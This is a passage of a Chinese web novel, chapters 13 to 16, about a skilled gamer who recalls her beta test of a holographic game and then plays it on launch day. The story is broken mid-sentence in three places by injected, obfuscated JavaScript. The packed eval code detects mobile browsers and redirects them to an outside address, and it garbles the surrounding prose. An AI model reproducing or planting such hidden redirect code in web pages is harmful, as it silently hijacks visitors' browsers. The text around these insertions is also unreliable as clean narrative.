这种由大老板作为“名誉帮主”，再由手下聘请来的职业游戏人作为实际管理者出任“副帮主”的结构，往往是游戏里大帮会运营最为稳定的一种模式。 第一，老板足够有钱，而且是个难得的正常人。第二，帮会有为人有责任心，且有一定人格魅力，没有出过什么乱七八糟的“扒一扒”瓜条记录的专职管理人。 这就完全算一个有潜力的大帮会预备役了。 豆哥来找杨曦聊的时候，说老板说现在来一个人每人给五百块红包见面礼，但小晴你要是来啊，风哥说了，交个朋友，这个数可以翻四倍，给两千。 两千块，虽然比起杨曦接单赚的钱来说是不够看的，但见面就给，也是十足的豪气和诚意了。 杨曦就来了。 “哇，太有诚意啦，我好感动的！”杨曦面无表情地敲字：“谢谢玄风老板谢谢豆哥，这么重视我啊！别的邀请我都不看了，从此就跟着你们玩啦！” “猫猫开心.JPG” 13. Chapter13 Chapter13关于传说中的二测 杨曦在早餐店坐下来吃了一碗热腾腾的羊肉米线，又灌了两大杯冰镇酸梅汤，只觉得整个人都舒畅了。 吃饱喝足的她慢腾腾地往回走，路过小区门口的水果店，还买了些方便易吃的果切。 这时候，时间已经来到了九点半。 “嗡，嗡。” 手机震动。 杨曦拿起来一看，又是王金牛的消息。 “终于拿到了。”王金牛发了张拆快递包装的图，“俺们这快递真死慢，总算赶在开服前拿到了。” 杨曦回道：“你现在回家了还是在县城呢？” “县城哇。”王金牛说道，“赶在银行上班第一阵子把我卡的事儿解决了，等会我就给钱转给你。” “去的次数太多了，人柜员都认识我了。嘿嘿。”王金牛发来了段语音，“今天俺就先不回家了，临走前托了我婶给老奶做两顿饭送去，俺自个儿明天再回去。” 杨曦知道王金牛攒了点钱之后在县城用她奶身份证买了套小房子，有时候会去住。她们那地方实在很偏远，房子就很便宜，几万块钱就能买到一套。 “行。”杨曦回道，“还有半小时就开服了，你先把星网通给装上试用一下。” “俺昨天上网搜了，这游戏一点玩法爆料都没有，也不知道里头啥样。”王金牛咂咂嘴，问杨曦：“你取名啥ID啊？还是叫秋日晴？” “对。”杨曦说，“我这ID也算有点名气。这年头名气就是招牌，换来换去影响我赚钱。” “真好。那我也要用自己名儿，俺也挺有名的。”王金牛说。 杨曦：“……” 你开心就好。 “挺好的，”杨曦说道，“就是不知道先找上来的是毒打还是生意。” 王金牛没回了，估计折腾设备去了。 王金牛把买头盔的钱转回给了杨曦，还添了五十。 王金牛一直这样，要是麻烦她办事，就多给五十，事大事小都一样。 杨曦收了钱，也已经晃悠回了自家楼下。 她进门躺在沙发上，一边吃水果一边在聊得热火朝天的帮会群里冒头，不咸不淡地跟人唠嗑了几句。 现在距离开服就十来分钟了，大黄豆豆哥隔会儿就艾特一遍全体，发他不知道从哪儿搞来的一些真真假假的所谓“内测消息”，并且强调让所有人进了游戏就赶紧加他。 杨曦看得有点想笑。 羲和这款游戏是不会有所谓的内测消息的，杨曦无比确定这一点。 在最初那几年，方舟创造工作室确实找了大量的测试人员，且过程都是邀请测试者就近前往方舟创造工作室分园区线下参与他们的试用测试，全额报销车马费，可谓财大气粗。 但，其中绝大多数体验过这些内测的玩家就和杨曦第一次去时经历过的一样，只是在研究人员的帮助□□验了那套传感设备，进入游戏某个场景游玩了不超过十分钟，然后就开始填写问卷和保密协议。 所以就算抛开那份严格的保密协议不谈，其实也没什么可泄露的。每个人所知不过管中窥豹，冰山一角。 真正可能知道些游戏具体内容的，只有后来再次筛选出的一些“二测”玩家。 杨曦不知道有多少人，但人数肯定也不会太多。 那场二次测试，是要参与测试者前往首都所在的方舟创造工作室总部进行的。 而具体的测试内容，用杨曦自己的话来说，她认为可以概括为：“我出一笔出游差旅费，换你的一段人生故事。” 具体流程是，当你被选入他们的二测名单时，方舟工作室会提前由智能客服盘古来电与你通讯。 通讯中，盘古会告知方舟创造工作室想要邀请你进一步体验他们的全息技术，并且会在测试期间以你的故事、性格经历等创造出一个全息角色。如果你愿意对此授权，方舟创造工作室将承担你来回的出行及住宿费用，并额外支付两千元作为你的这个“虚拟人物使用费”。 如果你同意了，并签下合约，你就能够前往方舟创造工作室总部参与这场技术体验测试。 这场二次测试距离一测过去了一年多，杨曦那时候正在上高中。 她被选中了，接到电话十分兴奋，当即就决定要去，也当场就答应了。 但是很可惜，作为刚满十七岁的学生，杨曦对自己要去哪儿这件事是没有决定权的。 有先前“我要辍学打职业”的惊人之言在先，杨母怎么都不肯同意杨曦向学校请假，跑去首都参加这个劳什子技术测试。 杨曦与她妈为这事爆发了多次的激烈争吵，但因请不到假——杨母当时特意打电话告知了她当时的班主任，说孩子如果自己去请假之类的请不要同意，把路给她堵死了。 所以杨曦在寒假开始之前，一直都没有机会成行。 测试来回至少需要三天时间，而她们学校高中生一周的周假只有可怜的半个周日。 后来等到终于放寒假了，杨曦在这时候情绪已经出离的愤怒了。放假之后，她有了大量的时间玩游戏，于是杨曦在网上接了一些游戏单子，憋着一股劲连肝了两周，终于赚够了自己来回首都的机票酒店钱。 方舟工作室虽说会“报销”这笔钱，但当然不会为她提前垫付。 杨曦拿着钱，一句也没和她妈多说，背了个包揣着手机和一套衣服就出门了。 她独自去往了首都，打车来到地图上显示的方舟工作室地址。 那是片比分园区更气派的大建筑，高楼相连，气派夺目。 好消息是，盘古记得她，也记得杨曦当时向它给出的同意参与测试回复。 但坏消息是，测试时间已经结束了。毕竟从杨曦接到电话到寒假，已经足足过去了两个多月。 当时的杨曦受此重大打击，眼眶刷一下就红了，在门外呆站了十几分钟，才失魂落魄地离开了。 她一下子失去了所有力气，绕着那片园区建筑转了不知道多久，才终于打车去了附近的一家酒店。 然后往床上一躺，就直接躺到了晚上。什么也不想做。 但到晚上八点多的时候，杨曦忽然接到了一通电话。 她至今仍清楚地记得那通电话的全部内容。 来电显示方舟创造工作室，杨曦在鼓噪的心跳声里立刻接了。 “你好，杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094590|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曦小姐。”电话那头说，“我是方舟创造工作室的智能客服盘古，请问你现在方便接听电话吗？” 杨曦当时闷闷地应了一声，说可以。 “杨曦小姐，雍秋文女士向我了解到了关于你的事情。她此时正在工作室内。她让我转告你，如果你依旧保有参与我们的全息技术测试的意向，可以在半小时内来到我们的工作室总部园区，我们将承担您的一切车马费用。” “……” 什么叫峰回路转，这就是峰回路转啊！ 杨曦当场就从酒店的床上弹跳了起来，提起包冲下楼就打车朝着方舟创造工作室冲去。 她本来就是就近找的酒店，打车过去一共就花费了不到十分钟。 盘古接待了她，并将她领往了测试所在实验室。 路上，杨曦不由问起此次事情发生转机的原因。 盘古如实复述。 “你离开时时，雍秋文女士正做完一项实验测试，站在办公室阳台食用晚饭。”盘古说，“她看见你在楼下徘徊的，于是对我询问说：‘这是谁？像个未成年。’我回答了你的情况，雍秋文女士又向我询问了你的具体信息。” “雍秋文女士说：‘她这么远的过来，很不容易。你去联系一下她，如果在我下班前她能够过来，就让我自己来和她做完这次测试内容吧。如果她今晚无法赶来，我们也照常支付她来这一趟的路费。” 杨曦听完这番话，当时就愣住了。 再然后，她在盘古领她进入的那间宽敞明亮的实验室内，第一次见到了雍秋文真人。 第一印象是那双眼睛，棕褐色，透过护目镜温和地看来，她看起来又认真、又聪明，或者说，智慧。 那是杨曦第一次感觉到原来用“智慧”这个词来形容一个人给人的感觉，居然可以是贴切的。 雍秋文穿着实验室的白色制服，朝着她走过来，脸上虽然不带明显的笑容，但语气和神情都算温和。 她对杨曦说道：“你好，杨曦，是吗？请跟我来。” 杨曦稀里糊涂地跟着她进去了。 测试内容相比第一次，过程要长得多。 戴上了那套熟悉的传感设备，杨曦就又一次进入了那个神奇的异世界里。 这次她可以活动的范围要大得多，从一片山坡上跑下去后，杨曦居然在前方看见了一个小村落。草屋，稻田，平整的小路，她还看见了——人。 在看见第一个“活人”迎面走来时，杨曦呆住了。一时不知道该停该前还是该跑，原地犹豫了片刻，那个人“看见”了她。 对上眼的时候，杨曦又吓了很大的一跳。这个人——应该是虚拟人，也就是NPC，竟然表现得像看见了她一样，停了下来。 那看着是个戴斗笠的庄稼汉。 杨曦和“他”大眼瞪小眼，然后她听见对方说：“你是哪位？” 杨曦一句卧操含在嗓子里，这NPC说的竟然还是国内中部地区的某种方言。 大概杨曦的身体表情变化太大，雍秋文切断了设备连接，将她“唤醒”过来。 “怎么样？”雍秋文神态关切地问，“有任何不适吗？” 杨曦摇摇头。 14. Chapter14 Chapter14关于传说中的雍秋文 杨曦当时确实感觉有微微的眩晕，她闭着眼睛坐在椅子里缓了一会儿。 随后，杨曦听见脚步声走远又回来，再睁开眼时，面前是雍秋文给她递来的一杯温水。 喝水时，杨曦又听见盘古的声音说道：“你不应该让她接触到‘人物’板块，雍秋文女士，我们在这方面的准备还未完善。” 盘古待在前方一面光屏的下侧，用着杨曦曾经见过的深蓝色方块的形象，简单的白色线条在方块正面勾勒出一个嘴角下撇的不赞成表情。 “啊，这样吗？”雍秋文耸了耸肩，“这是我第一次给人做测试，理解一下。” 她朝杨曦笑了笑。 盘古说道：“您应该注意一点，我不想工作室再次背上什么不必要的法律纠纷官司。” 雍秋文：“那你下次就应该提前提醒我，这就是我创造你的目的。” 盘古：“如你所愿，雍秋文女士。” 一人一智能系统，竟然产生了像是在“拌嘴”般的对话，杨曦大受震撼。 稍作休息后，雍秋文领着杨曦来到了实验室相连的另一间房间。在这里，杨曦了解到了“创作一名虚拟全息人物”的具体步骤。 她先是被领到了又一张椅子里坐下，然后杨曦的面前徐徐落下一张半透明的虚拟光屏。 光屏上的文字缓缓地亮起，那是一份长长的，像是问卷般的表格。 “你可以打字输入，也可以直接开口回答。我们的系统会自行识别并录入你的声音。”雍秋文对她说道。 在这张表格上，杨曦需要依次填写自己的所有个人信息，年龄、性别、身高，然后是爱好——爱吃什么蔬菜？爱吃什么水果？喜欢什么颜色？喜欢什么款式的衣服？喜欢什么动物？ …… 一个接一个的问题，那表格长得仿佛没有尽头，杨曦答到后来填得都有点麻木了。 而且几十个问题之后，杨曦发现表格上的问题甚至又升级了。从简单的询问她的喜好和习惯，到让她回答一些主观判断问题。 比如她在什么样的场景、什么样的环境中会做出什么样的反应，面对不同的开放性问题，会给出什么样的答复等等。 “很繁琐，是吧？”雍秋文这时候又给她端来了一杯水，朝她露出个微笑，“要休息一会儿吗？” 这段休息时间里，雍秋文稍稍向杨曦解释了一下她所填写的这些题目的意义。 “要完全依靠智能系统来生成出一个虚拟人物，我们现存的技术当然不是无法做到。”雍秋文手里端着另一杯水，一边喝一边随手拉过一把转椅在杨曦的身旁坐下，说道：“但我总认为，那样做会使得这个虚拟的世界中少了几分沉浸感。我们的全息技术，是想要‘创造’出一个让人能感觉到‘真实’的世界，就要尽可能从各个方面去下功夫。” “所以，”她用手点了点杨曦面前的光屏，“我想到了这个办法。我找到了很多不同的人，男女老少、各行各业，我让盘古为我筛选出包括你在内的这样一批身上具有一定特点的人，邀请你们前来参与这场测试。通过你们填写的这份表格，从中展现出的你们个人的想法、爱好、甚至性格等等作为蓝本，创造出一批真正的‘有灵魂’的虚拟人物。” 雍秋文侃侃而谈，讲她关于预想中的全息世界的想法，她的目的与设想。 杨曦也不知道雍秋文这样一个于她而言在智力和见识上都远远超出的研究员，为什么要和自己一个刚刚十七岁、什么也不懂的年轻女孩儿说这些。 但她觉得，这样的交谈，仿佛使得这个仿佛高高在上，远在云端上的“女科学家”变得好像离自己近了点。 于是杨曦慢慢地也少了点拘束，一边填表格，一边和雍秋文闲聊般地说话。 那份表格杨曦填了足足一个多小时。随着答案被不断填入，那张半透明表格后的金属高台上，布满了密密麻麻坐标轴般的蓝色线条的屏幕中间，开始有一个模糊的影像一点一点地被勾勒了出来。 杨曦填着填着，冷不丁抬头才看见了这一幕，眼睛顿时睁大了。 “那是……”她不由得问出声。 “是的，那就是即将被创造出的虚拟的‘你’。”雍秋文扭头一看，笑着对她说：“很神奇吧？等到以后的某一天，我们的全息技术功能完善到正式发行了，你就能亲眼看见‘它’完全成熟后的样子。” 杨曦盯着那团蠕动的光影，一时有些说不出话来。 她今晚见识了好多超出她认知之外的东西，更见到了只在百科上见过的真人雍秋文。 将那张表格填写完毕后，在杨曦在盘古的指导下在新的保密协议和授权书上签字。而那时，一旁显得有些无所事事的雍秋文踱步走向了正在数据生成中的金属高台。 她站在那儿看了一会儿。 然后正准备离开的杨曦就听见她说：“我认为这可以升级为我们的一个高级智能NPC，你觉得呢，盘古？” “您是说？”盘古说。 “很合适的，孤云山的那个——是不是？在剧情里，她的……”雍秋文语速极快地说了几句话。她说得太快，好些内容和词句杨曦没能听清，只看见雍秋文一伸手，从那些深蓝线条的运行程序后又拉出了一张写满了数据的面板，一边用手指在上面翻看、写画。 杨曦有些茫然地站在原地。 盘古请她稍等一会儿。 大概十来分钟后，似乎陷入了某种运算研究之中的雍秋文终于回过神来，她转身走到杨曦面前，对她说杨曦的这一个“虚拟角色”，她准备将它升级为一个“高级智能NPC”。 因此，接下来还需要杨曦填写一份更冗长的表格，以及她需要杨曦使用方舟创造工作室的动捕系统，录制下一些常见的表情与动作以待使用。 “角色升级为高级NPC后，我们原定的支付给您的两千元使用费用，也将会提高到一万元。”一旁的盘古适时地补充道。 穷学生杨曦：“……” 那还说什么，干了呗。 而且以她对全息技术的喜爱与沉迷，以及对雍秋文本人的敬仰，就算不给钱，杨曦其实也挺乐意参与这些测试的。 于是，杨曦又在方舟工作室里待了几个小时。填表她已经填得熟门熟路，但是到动捕流程时，面对着一堆明晃晃的镜头做各种动作和表情，杨曦就总是显得很僵硬。 逗得雍秋文在边上哈哈直笑。 杨曦原本以为像雍秋文这样一个满身名誉的成功人士，知名科学家，应该是那种克制而知性、智慧而冷静的形象，但今晚的短暂接触完全颠覆了她的印象。 她见到的雍秋文随性、幽默，称得上是个活泼友好的人。 等弄完整套测试，那天的时间已经接近半夜十一点了。 当时，雍秋文望着时钟皱了皱眉，说道：“太晚了，你一个人回去不太安全。你住哪儿？” “住在酒店。”杨曦说道。 “周围这一片有点荒。”雍秋文沉吟片刻，说：“这样吧，你在我的休息室住一晚，明早再走。正好我晚上需要再跑一下数据，也不回去了。” “……好。”十七岁的杨曦就这么稀里糊涂地在方舟创造工作室总部住了一晚，一切的经历就简直像做梦一样。 雍秋文的休息室宽敞而干净，浴室和厨房都有，但看上去没有多少生活气息，应当是不常居住的。 最重要也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094591|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最令杨曦惊喜的是——这里有非常多的“设备”。位于休闲区位置的大屏下，就仿佛某位收集爱好者的藏品室，那些金属与线缆连接的高科技设备一排排一列列，简直是琳琅满目。 “我这台脑媒连接器是迄今为止我们制造出的功能最完善的一台。”雍秋文说，“你要是还不想睡觉，可以试试玩一会儿。盘古会为你解答所有问题。” 丢下这句，穿着白色研究服的雍秋文就匆匆地离开了。 杨曦一个人留在雍秋文的休息室里，新奇地开始在盘古的介绍下研究那些设备。她很快发现，她使用雍秋文临走时说的那台“脑媒连接器”，竟然可以进入她在两次测试中所体验过的那个“异世界”。 杨曦兴奋极了。她在盘古的指导下戴好了设备。 测试中浅尝辄止的感受，那一晚，她体验了个够。 盘古解释说，用于面向大众测验的设备，方舟工作室需要从经济性与便捷性两方面考虑，所以功能一直都还在测试之中。而雍秋文休息室中这台设备，造价高达数百万，是最初始、也是功能最完备的“原始机”。 这意味着，她可以尽情地使用，不用担心身体受到任何损伤。 山川河流，森林湖泊，飞禽走兽……杨曦飞快地沉浸入了全息世界的绚丽多彩之中。 玩了一段时间之后，她忽然想起自己在傍晚的测试中所见的那个NPC人物。杨曦今晚见了很多景致与动物，唯独没有再见到“人”。 她于是询问盘古自己是否能再看一眼那个会说话的NPC。 盘古说不能，但它又表示，杨曦要是想，可以去看一看“她自己”，那不算违规。 杨曦：“我自己？你是说……我的那个，虚拟人物？” 盘古说：“是的，它已经生成完成了。” 随后，盘古向杨曦开放了一片新的地图。 杨曦震撼地发现这一片新地图完全不同于她之前逛了大半晚的那些简单的村野景象，这卷向她展开的新区域，是整整的一座云雾缭绕的大座山！ 她在山脚下，光往上爬就爬了两个多小时。也是在这个过程中，杨曦逐渐习惯了她所控制的这个人物的移动方式。 跑、跳、蹲，趴、坐、卧、躺都可以随意做到，自由度很高，而且人物的体能远超现实中的人，蓄力一跳，能跳到两米来高。 杨曦不断地尝试攀爬、跳跃，时不时摔下去。这一夜，她一分一秒也没用在睡眠上，一直沉浸在全息世界里爬这座大山。 等到终于爬到山上开始有建筑的区域后，杨曦新奇地走来走去。这些建筑都是石头摞的，看起来样式很奇特。 最后，她在一座高塔里发现了盘古所说的“她自己”。 那真是种很神奇的感受。 那是个看上去顶多只有七八岁的“小女孩儿”，样貌和杨曦顶多只有三分相似，但却莫名有一种从每个表情和小动作里透露出的“神似”，让杨曦有种照镜子的感觉。 杨曦从窗户翻了进去，观察了一会儿，尝试和这个“她自己”说话。 她发现它确实很智能，虽然整体仍有点微妙的机械感，但很多问题都能回答，人物动作也算流畅，说话时脸上甚至会随之出现对应的神态和表情。 杨曦这时候总算知道她填的那么长的表格是用来干嘛了。 那种像是和一个小了一号的自己对话的感觉，实在是是令人记忆深刻。 那天，杨曦一直玩到早上八点，才依依不舍地在盘古的提醒下离开了方舟创造工作室总部。 她不仅体验了当时所有已经制作完成的地图，连未完成的主控角色职业也试用了几个。 说是参与内测内容与玩法最多的玩家，名副其实。 15. Chapter15 Chapter15开服 9：58。 9：59。 杨曦戴好头盔，连接上星网，靠坐进椅子里，确保自己每个肢体部位都处于舒适放松的状态之中。 然后她闭上眼睛，开始等待。 5、4、3、2、1—— 时钟正式来到10点整。 伴随着一阵曲调悠远，混合了琴、萧、琵琶、筝等多种杨曦无法一一数出名字的乐器声，黑色的视野里开始有星星点点的白光闪烁着亮起。 下一秒，乐声转急，一行笔墨淋漓的大字猛地撞入眼帘！ “创世之作，羲和降临。” “——方舟创造工作室出品” 稍倾，乐声更急，琵琶声急促如骤雨，琴萧声破空如利箭，视野中其他墨字开始泅水般溶化，只余“羲和”两个大字在眼前放大，放大，再放大。 随即，就见那黑色的大字开始波动，那些繁多的笔画弯曲、伸展，最终变作一道执鞭御马的女子剪影，更多飞溅的墨色化作她脚下战车般的巨辇，十粒圆润的金光忽然从她高高扬起的长鞭下粒粒抖落而出，依次抛向无尽的白光中去—— 所谓：羲和御天马，浴日授人时。 耳边此时有一道轻柔悦耳、似同时重叠了无数男女老少音色的声音说道：“宝马鞍车香花醉，琴剑流风踏月来。少侠请整装，江湖待君游。” 恍惚了好几秒，杨曦才意识到周围的白光已经褪尽，而自己正站在一处溪流与竹林相伴的水榭之中。 水声潺潺，风声细细。 杨曦抬起头，有些茫然地左右看了看。 这处场景，包括刚才开头的那一幕，在内测时都是没有的。 所以这是什么地方？ 杨曦猜得出这应该是玩家进行初始登录的场景，但左右看了一圈，周围空荡荡的，除了桌上一套茶具，一只木盒之外，不见半个人影。 水流声、花香味，甚至空气中清新冰凉的水汽感、面前木桌木椅上的纹路，都做得非常真实，比杨曦七年前所体验的画面要精美得多，几乎已经让人分不清和现实世界之间的区别。 当然，杨曦毕竟体验过内测，因此这时候只是恍了一下神，就开始尝试着移动身体，探索周围。 她发现自己这时好像并没有“形体”，抬起手来，只能看见一道白蒙蒙的轮廓。 杨曦先绕着桌子走一圈，谨慎地没动桌上的东西，尝试往水榭外面走，想看看整体场景的范围。 但她没能走出去。像有一层透明的膜裹住了周围，她只要想离开这处水榭，就会被拦住。 行吧。 杨曦于是又回到桌前，用自己看不清实体的手尝试去打开桌上的木盒。 盒盖轻轻滑开，只见盒子里躺着一张纸条，纸上写着三个字：“请喝茶。” 杨曦挑了挑眉，拿过桌上的茶壶，从善如流地给自己倒了一杯茶。 茶水飘着热气，触手生温。淡绿色的茶汤倒入杯中，香气扑鼻。 杨曦尝试端起杯子，做出喝的动作，口中竟然真尝到了温热的茶水味。 味觉系统也做好了！ 杨曦懂了，这是方舟创造工作室的“开场炫技”。 视觉、触觉、听觉、嗅觉、味觉，五感俱备，势必开局就要给玩家带来一场目瞪口呆的震撼。 杨曦忍不住笑了一下，她把茶杯放下，就看见这时木盒里的纸条已经消失了，剩下的是一枚金色的，似琥珀又似玉石的圆形坠子。 它静静地躺在铺满白色绒布的盒底，通体流转着温润的光泽。 杨曦伸手一抓，手指触碰到坠子的一瞬间，淡金色的光芒顿时从坠中迸发出来，笼罩了她的整个视野。 再能看清时，这枚坠子已经挂在了她的手腕上，而桌上盒子边原本空荡荡的桌面上出现了一只金色羽毛的鸟。 鸟儿一跳，露出肚皮底下的三只长爪。 “玩家您好，我是你的智能助手小金乌。”金鸟口吐人言，“我将在您游玩江湖的过程中全程陪伴您，您有任何问题，我都可以随时为您解答。” 杨曦：“……”感情配个ai助手还整得这么有仪式感。 “小金乌？”杨曦开口说道，“我还以为会是盘古。” “您好，盘古是方舟创造工作室总理主管超脑，小金乌只负责全息游戏羲和的相关内容。”金鸟说，“现在，玩家可以为我设置您的专属称呼。如想更换我的语音包体，也可以现在进行设置。我的风格很百变，男女老少不同音色，您都可以进行选择。” 杨曦嘴角微抽，说道：“不用了，就这个就行。” “好的，玩家。”小金乌一本正经地说道，“请问您想我怎么称呼您？” “就叫玩家就行。”杨曦说。 “好的，玩家。”小金乌一挥翅膀，杨曦面前的桌上出现了一张浮满金纹的纸条和一支金色的笔，“接下来，请您填写您的ID，和选择您的基础外观。” 杨曦走过去，提笔在“玩家昵称”后写下了“秋日晴”三个字。 “玩家ID创建成功。”小金乌说道，“现在玩家将进入外观创建模式。” 一面巨大的镜子浮现在了杨曦的面前。 她定睛一看，发现选择还挺多的，五官脸型拉条范围也挺大，肤色有从黝黑到惨白，头发长短粗细也都能选，就是发色只能从棕到黑色之间设定——也是，杨曦笑了笑，总得留下一些氪金的空间吧。 她懒得在这些东西上浪费时间，见边上还有个“真人外观导入”的选项，就直接选了这个。 几秒后，杨曦本人的样貌就一比一地浮现在了镜中。穿着一套游戏的初始白色布袍服装，头顶着一个武侠风高马尾发型。 杨曦上下打量了一下，感觉还行，于是随便调了调身高发型，就直接提交了。 她选择了初始发型之中看起来最为方便的一个“少侠头”。 跳过了一长串的用户协议声明，杨曦终于正式进入了游戏。 白光一闪，场景就切换了。 一阵清脆的鸟鸣声里，游戏人物“秋日晴”睁开了双眼。 杨曦先原地走动适应了一下，才开始打量起周围。 蓝天白云，绿树成荫，地图的场景精细度和测试时候已经不是一个等级了。人物角色周围浮现着的半透明的UI界面也变得非常完整。 扑扇着翅膀飞到人物角色肩头的智能助手“小金乌”这时再次口吐人言，开始引导玩家进入“新手教学”。 教学分别包含了“跑、跳、坐、卧”之类的时基础动作和武器装配使用等等——和现实里真实的体验其实差不多，但玩家初次进来一般都得适应一段时间。 要杨曦自己的感受来大致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094592|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形容，就有点像是人忽然从正常的环境中一下子进入了某种太空环境，有些类似于“重力”和“肢体灵敏度”的差别格外不同。 杨曦把所有教学都选择了跳过，提着系统发送的新手装备就直接踏过面前的石子小路走进了新手村。 小跑、跳跃，挥动了一下手里提着的“武器”木棍，杨曦不太熟练地调出任务面板看了一眼。 在七年前参与测试的时候，这些交互的东西都还没有做好，她现在也是第一次用。 杨曦发现所在的新手村显示是叫“六日村”。 这方面杨曦倒是知道的。 羲和的新手村总体是“十日村”，是围绕着“扶桑山”山下依山而建的十座山村。分别就叫做“一日村”、“二日村”、“三日村”……“十日村”。 她曾经把这一圈地图都大致地看过一遍。 这时候，杨曦在心下松了口气。果然，她猜对了。 ——在羲和之中，所有参与了第二次内测的玩家，都会被投放到距离自己所授权创造的那个“虚拟角色”最近的新手村里。 因为杨曦记得雍秋文曾经对她说过，等待测试完成，她可以“亲眼去看看‘它’完全成熟后的样子”。 所以杨曦早早就有一种感觉，雍秋文会特意在最终的程序之中添加进这样一条特殊设定。 六日村，正是距离“孤云山”最近的新手村。 虽然这时候地图系统中除了新手村之外的区域还全是灰色，但杨曦曾经见过它完整时的样子，她的记忆力很好，哪怕时隔七年也能够回想起来大致的轮廓。 杨曦在进游戏之前就想好了，“孤云山”是她最熟悉的地图。而凭借对那片地图的熟悉，她可以提前摸过 去看看——这就是她相比其他玩家们为数不多的优势了，她要牢牢地抓住。 一步先，步步先。 和大多数MMORPG游戏一样，羲和的新手村任务也是一些抓鸡摸狗送信的差事，主要是帮助玩家迅速熟悉游戏机制。 但在“全息”这样截然不同的环境下，哪怕这些无聊的任务也变得无比的新鲜有趣起来。 “六日村”环境很美，村口小河石桥、村后茅屋大树，田野里种着大片的稻子，桃李梨树相映成趣。 羲和的地图做得完善而精美，行走其间完全能感受到那种远离现实生活城市里高楼大厦霓虹雾霾的“屋舍俨然、鸡犬相闻”的美好。 杨曦接完任务出来跑的过程里，看到这时已经有不少玩家涌进来，正三三两两站在村子到处左张右望大呼小叫。 “卧操，这是游戏？？太牛逼了！” “感觉跟做梦一样……” 杨曦没时间停下来做这些无谓的感叹，或者说因为她七年前已经感叹过了，她一边以一种“老学姐看一群冲进来吱哇乱叫的新兵蛋子”的心态穿过这群萌新们，一边对照地图计算着最快跑完任务的路径。 杨曦一口气接了主线支线好几个能接的任务在身上，东村跑到西村，王婆家跑完李叔家跑，铁匠铺进、包子店出，忙得像个陀螺。 相比其他还在跌跌撞撞的玩家们，杨曦走起路来就显得娴熟无比了，小跑接疾走，卡着气力条的极限走出最快的速度。 现在玩家们都刚进游戏，不管是轻功系统还是骑行系统都还没开放，只能这么步行着靠双腿去丈量新手村。 16. Chapter16 Chapter16新手村初体验 当杨曦跟着引导跑完所有能直接接到的一系列剧情任务，时间距离开服已经过去两个多小时了。 杨曦觉得自己应该是整个新手村里最快的那个。 主要羲和的开服剧情和所有既往游戏一样，全都带有引导教学性质。对于初接触全息的玩家们来说，其实具有一定难度。尤其最后的一个上房抓鸡的任务，要求玩家们学会自主“二段跳”，对于反应力慢点儿的玩家来说还真得学上一阵子。 两米多高的茅屋，穿着新手装的一级小号们摔一下就能摔掉三分之一血。在新手村里死亡倒是没惩罚，就是得从村口复活点再跑过来，光路程上就要浪费好几分钟。 杨曦穿过村口的小桥时，听见路上人来人往的全是嘀嘀咕咕在骂任务真难的。 在这时候，杨曦已经把羲和里的各种交互与功能界面都研究了一遍，发现游戏人物的“说话”这一块儿是可以在路过都能听见的公共外放模式，和只能自言自语的个人私密模式切换的。 但这时候估计大多数玩家根本都没留意到这功能，全都用着默认的外放模式，导致这会儿新手村里堪比菜市场，嗡嗡嗡的人声将村口的小河汩汩的水声都快盖过去了。 杨曦把一身的任务交完，人物已经从一级升到了四级，装备也从木棍布衣换成了一把村里武器铺的大叔赠送的小木剑和一身棉袄子。 她对着自己的人物属性面板研究了一下，发现现在人物每升一级，属性是均匀地增加在包括气血、灵值、武锐、破防、防御、格挡、韧性等所有的数值上的。 杨曦预料，等到玩家开始区分种族或者职业后，这种默认“加点”就应该会开始出现不同的分配了。 七年前她参与内测时，升级与加点系统这些都还没有出现，杨曦就只试用过几种角色的基础模板，这些东西对她而言都是完全陌生的。 杨曦只能通过她对游戏结构、对游戏数值的一贯敏锐度去分析。 装备分为头、手、肩、腕、衣、鞋以及武器和两件饰品共九个位置，很普通的设定，中规中矩。每个部位的主加成数值不同…… 杨曦一边朝着村外小跑快走，一边开着面板仔细研究，很快弄明白对于她的奶妈职业来说，应该是增加奶量的武器和饰品最重要，其次是主加坦度的衣服和头盔。还有升级给的数值比起更换装备给的要低得多，说明这游戏装备比经验条要更为重要。 羲和这款游戏目前与市面上绝大多数其他MMORPG游戏在设定上的不同就是，它并没有在玩家创建游戏角/色/界面就开始直接区分人物种族、职业等特性。 而是要玩家先玩上一段时间，到了一定等级之后，才会开始进行划分——杨曦猜测可能是10级，也可能是按离开新手村来判定。 这样的设定，她认为应当是出于所有玩家们都是第一次接触到全息这种游戏模式、羲和又是实行的严格的一人一号制考虑。站在人性化的角度，让玩家们先适应适应游戏内容，再去做出选择。 没有分职业，也没有获得技能，所以杨曦现在出村就是准备找个野怪试试手，看看这游戏的打怪系统是个什么底细。 